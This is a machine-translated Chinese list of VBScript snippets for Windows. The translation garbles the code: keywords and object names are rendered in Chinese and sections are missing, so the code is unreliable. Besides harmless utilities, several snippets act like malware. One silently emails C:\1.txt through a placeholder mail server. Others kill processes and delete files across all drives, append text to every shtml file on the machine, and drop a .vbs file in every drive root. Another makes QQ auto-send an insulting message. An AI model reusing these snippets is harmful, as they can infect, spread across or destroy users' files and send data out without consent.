1.VBS獲取路徑集
1.1.VBS獲取系統安裝路徑。
程序代碼
設置WshShell = WScript。CreateObject（WScript。外殼”）
strWinDir = WshShell。ExpandEnvironmentStrings（“% WinDir %“）
上面的代碼意思是定義這個變量先獲取系統安裝路徑，然後我們用“&；strWinDir & amp稱這個變量為。
1.2 . c:\程序文件路徑
程序代碼
msgbox CreateObject（“WScript。貝殼》）。ExpandEnvironmentStrings（“% program files %“）
1.3.c: \程序文件\通用文件路徑
程序代碼
msgbox CreateObject（“WScript。貝殼》）。ExpandEnvironmentStrings（“% CommonProgramFiles %“）
2.向桌面添加URL快捷方式
程序代碼
設置gangzi = WScript。CreateObject（WScript。外殼”）
strDesktop = gangzi。特殊文件夾（“桌面”）
set oShellLink = gangzi。創建快捷方式（strDesktop & amp“\Internet Explorer.lnk“）
奧謝爾林克。目標路徑=““
奧謝爾林克。描述=“Internet Explorer“
奧謝爾林克。icon location =“% program files % \ Internet Explorer \ ie xplore . exe，0“
奧謝爾林克。救援
3.將URL添加到您的收藏夾
程序代碼
Const ADMINISTRATIVE _ TOOLS = 6
set objShell = CreateObject（“Shell。應用程序”）
Set objFolder = objShell。命名空間（管理工具）
Set objFolderItem = objFolder。自己
Set objShell = WScript。CreateObject（WScript。外殼”）
strDesktopFld = objFolderItem。小路
Set objURLShortcut = objShell。創建快捷方式（strDesktopFld & amp“\小遊戲網站。網址“）
捷徑。target path =“/CDO/configuration/“
設置Email = CreateObject（“CDO。消息“）
電子郵件。from =“Send @ QQ . com“
電子郵件。to =“Receipt @ QQ . com“
電子郵件。subject =“Test sendmail . VBS“
電子郵件。Textbody =“好的！“
電子郵件。add attachment“C:\ 1 . txt“
用電子郵件。配置。字段
。項目（名稱空間& amp“send using“）= 2
。項目（名稱空間& amp“SMTP server“）=“SMTP。郵件服務器。com“
。項目（名稱空間& amp“smtpserverport“）= 25
。項目（名稱空間& amp“smtpauthenticate“）= 1
。項目（名稱空間& amp“發送用戶名“）=“發送者用戶名“
。項目（名稱空間& amp“發送密碼“）=“發送者密碼“
。更新
以…結尾
電子郵件。發送
12.VBS結束了這個過程。
程序代碼
strComputer =“。“
Set objWMIService = GetObject _
（“winmgmts:\ \“& amp；str計算機& amp“\root\cimv2“）
set colProcessList = objWMIService。ExecQuery _
（“Select * from Win32 _ Process Where Name =‘rar . exe‘“）
對於colProcessList中的每個objProcess
objProcess終止（）
然後
13.VBS隱藏並打開了網址。
13.1.有些瀏覽器不能隱藏和直接打開，適合主流用戶。
程序代碼
createObject（“wscript . shell“）。運行“iexplore”，vbhide
14.VBS遍歷硬盤以刪除指定的文件名（下面，我添加了壹個先結束進程再刪除它的功能，這是不必要的）。
程序代碼
出錯時繼續下壹步
模糊路徑
strComputer =“。“
Set objWMIService = GetObject _
（“winmgmts:\ \“& amp；str計算機& amp“\root\cimv2“）
set colProcessList = objWMIService。ExecQuery _
（“Select * from Win32 _ Process Where Name =‘gangzi . exe‘“）
對於colProcessList中的每個objProcess
objProcess終止（）
然後
set objWMIService = GetObject（“winmgmts:“_
& amp“{ impersonation level = impersonate }！\ \“& amp；str計算機& amp“\root\cimv2“）
Set colDirs = objWMIService。_
ExecQuery（“Select * from Win32 _ Directory，其中名稱如“%c:%”或名稱如“%d:%”或名稱如“%e:%”或名稱如“%f:%”或名稱如“%g:%”或名稱如“%h:%”或名稱如“%i:%”）
Set objFSO = CreateObject（“腳本編寫。文件系統對象“）
對於colDirs中的每個對象
fPath = objDir。姓名和名稱。“\gangzi.exe“
objFSO。刪除文件（fPath），True
然後
15.VBS獲取網卡的MAC地址。
程序代碼
密蘇裏州Dim mc
set MC = GetObject（“Winmgmts:“）。instances of（“Win32 _ NetworkAdapterConfiguration“）
對於mc中的每個維護對象
如果莫。IPEnabled=True Then
MsgBox“本地網卡的MAC地址是“&；莫。MAC地址
出口到
如果…就會結束
然後
16.VBS獲取本地註冊表的家庭地址。
程序代碼
Set reg=WScript。CreateObject（WScript。外殼”）
startpage=reg。RegRead（“HKEY當前用戶\軟件\ Microsoft \ Internet Explorer \主頁\起始頁“）
MsgBox起始頁
17.VBS遍歷所有磁盤的所有目錄，找到所有。然後在所有txt文件的底部添加壹句話。
程序代碼
出錯時繼續下壹步
set FSO = CreateObject（“Scripting。文件系統對象“）
Co = VbCrLf &。“路過。。。"
對於fso中的每個I。驅動
如果驅動類型= 2，則
GF fso。GetFolder（I & amp；"\")
如果…就會結束
然後
子GF（fol）
Wh fol
迪姆島
每壹個我在fol。子文件夾
GF i
然後
末端接頭
子倉庫（fol）
迪姆島
每壹個我在fol。文件
如果LCase（FSO。GetExtensionName（I））=“shtml“那麽
fso。open textfile（I，8，0）。寫公司
如果…就會結束
然後
末端接頭
18.獲取計算機的所有驅動器號
程序代碼
set FSO = CreateObject（“scripting . file system object“）
Set objdrives=fso。獲取當前計算機的所有磁盤驅動器。
對於objdrives中的每個objdrive，遍歷磁盤。
MsgBox對象驅動
然後
19.VBS為本機所有磁盤根目錄創建文件（Gangzi原創）
程序代碼
出錯時繼續下壹步
set FSO = CreateObject（“Scripting。文件系統對象“）
設置gangzis=fso。“驅動器”獲取當前計算機的所有磁盤驅動器。
對於gangzis中的每個gangzis，遍歷磁盤。
設置TestFile=fso。create textfile（““& amp；崗子& amp“\創建新文件夾。vbs“，Ture）
測試文件。WriteLine（“By www . gangzi . org”）
測試文件。關閉
然後
20.VBS遍歷整個機器找到所有123.exe，然後將它們重命名為321.exe
程序代碼
set fs = CreateObject（“Scripting。文件系統對象“）
對於fs.drives中的每個驅動器
fstraversal drive.rootfolder
然後
子fstraversal（byval this）
對於this .子文件夾中的每個文件夾
fstraversal文件夾
然後
set files = this.files
對於文件中的每個文件
如果file . name =“123 . exe“那麽file . name =“321 . exe“
然後
結束接頭
21.VBS向粘貼板寫代碼（首先，VBS向粘貼板寫內容，互聯網上的相同內容是通過InternetExplorer實現的。Application對象，但缺點是默認瀏覽器為非IE時會彈出瀏覽器，所以費了很大勁才找到這段代碼來實現）。
程序代碼
Str=“這是要復制到剪貼板的字符串“
set ws = wscript . createobject（“wscript . shell“）
ws . run“mshta VBScript:clipboard data。SetData（“+““““““+“text“+“““““+““““+““& amp；str & amp“““““+“（關閉）“，0，true
22.QQ會自動發送消息（您可以通過保存並運行BVS來查看效果。希望高手能舉壹反三，隨便創造）。
程序代碼
出錯時繼續下壹步
Str=“我是傻逼/qq“
設置WshShell=WScript。CreateObject（WScript。外殼”）
wsh shell . run“mshta VBScript:clipboard data。SetData（“+““““““+“text“+“““““+““““+““& amp；str & amp“““““+“（關閉）“，0
wsh shell . run“Tencent://message/？菜單=是& ampuin = 20016964 & amp；Site = & amp服務= 200 & ampsigT = 2 a39fb 276d 15586 e 114e 71f 7 af 38 e 195148 b 0369 a 16a 40 fdad 564 ce 185 f 72 e 8 de 86 db 22 c 67 ec3c 1“，0
WScript。睡覺3000
WshShell。仙劍“^v”
WshShell。發送鍵“%s”
23.VBS隱藏文件
程序代碼
Set objFSO = CreateObject（“腳本編寫。文件系統對象“）
Set objFile = objFSO。GetFile（“F:\ software contest \ show . txt“）
如果objFile。屬性= objFile。屬性和2然後
objFile。屬性= objFile。屬性XOR 2
如果…就會結束
24.VBS生成隨機數（521是生成規則，不同的數字有不同的規則，因此可以用於其他目的）。
程序代碼
隨機化521
point = Array（Int（100 * Rnd+1），Int（1000 * Rnd+1），Int（10000 * Rnd+1））
msgbox聯接（點““）
25.VBS刪除桌面IE圖標（不是快捷方式）
程序代碼
set OS hell = CreateObject（“WScript。外殼”）
奧謝爾。RegWrite“HKCU \軟件\微軟\ Windows \當前版本\策略\資源管理器\無交互“，1，“REG_DWORD“
26.VBS獲得了自己的文件名
程序代碼
set FSO = CreateObject（“Scripting。文件系統對象“）
msgbox WScript。腳本名